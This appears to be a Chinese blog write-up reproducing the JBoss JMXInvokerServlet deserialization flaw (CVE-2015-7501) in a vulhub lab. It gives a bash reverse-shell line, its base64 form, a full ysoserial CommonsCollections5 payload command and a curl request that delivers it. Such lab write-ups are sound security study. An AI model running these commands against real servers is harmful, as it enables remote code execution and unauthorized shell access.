JBoss JMXInvokerServlet 反序列化漏洞复现(CVE-2015-7501)

一、漏洞说明

JBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

二、影响版本

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10

JBoss AS (Wildly) 6 and earlier

JBoss A-MQ 6.2.0

JBoss Fuse 6.2.0

JBoss SOA Platform (SOA-P) 5.3.1

JBoss Data Grid (JDG) 6.5.0

JBoss BRMS (BRMS) 6.1.0

JBoss BPMS (BPMS) 6.1.0

JBoss Data Virtualization (JDV) 6.1.0

JBoss Fuse Service Works (FSW) 6.0.0

JBoss Enterprise Web Server (EWS) 2.1,3.0

三、搭建环境

cd vulhub\jboss\JMXInvokerServlet-deserialization

四、漏洞验证

访问:8080/invoker/JMXInvokerServlet,返回如下页面(下载文件),说明接口开放,此接口存在反序列化漏洞。

下载了以下文件

五、漏洞复现

1.nc开启监听

2.生成序列化数据

使用工具ysoserial.jar生成序列化数据

bash -i >& /dev/tcp/192.168.155.2/1111 0>&1

Base64编码后

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==

所以payload:

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i} " >exp.ser

执行完该命令之后,会在本地桌面生成一个序列化的文件exp.ser,并利用cat查看其内容。

然后,将生成的exp复制到JavaDeserH2HC-master目录方便下一步利用

3.反弹shell

使用序列化数据反弹shell

curl http://192.168.25.128:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

相关推荐
数据知道21 小时前
网络安全实战:子域名接管实战——从 CNAME 配置错误到完全控制
网络·安全·web安全·网络安全
小新讲网安21 小时前
云安全攻防实战:AWS与阿里云渗透测试全流程指南
安全·web安全·网络安全·阿里云·自动化·云计算·aws
吴声子夜歌21 小时前
网络安全——身份认证
安全·web安全·身份认证
Zkaisen1 天前
RN与Metro
web安全
Aision_1 天前
代码安全学习手记(二):SCA 软件成分分析原理与 OWASP Dependency-Check 集成实战
运维·人工智能·学习·安全·web安全·网络安全
juesdo1 天前
vulnos OS-00118靶场通关
linux·web安全·网络安全·docker
数据知道1 天前
网络安全实战:渗透测试全流程 SOP——从授权到报告交付
服务器·网络·安全·web安全·网络安全
吴声子夜歌1 天前
网络安全——网络地址转换及其应用
网络·web安全·nat
猫咪宝妖1 天前
【信息安全工程师】第一天考前准备
网络·安全·web安全
吴声子夜歌1 天前
网络安全——网络安全防护技术(二)
网络·web安全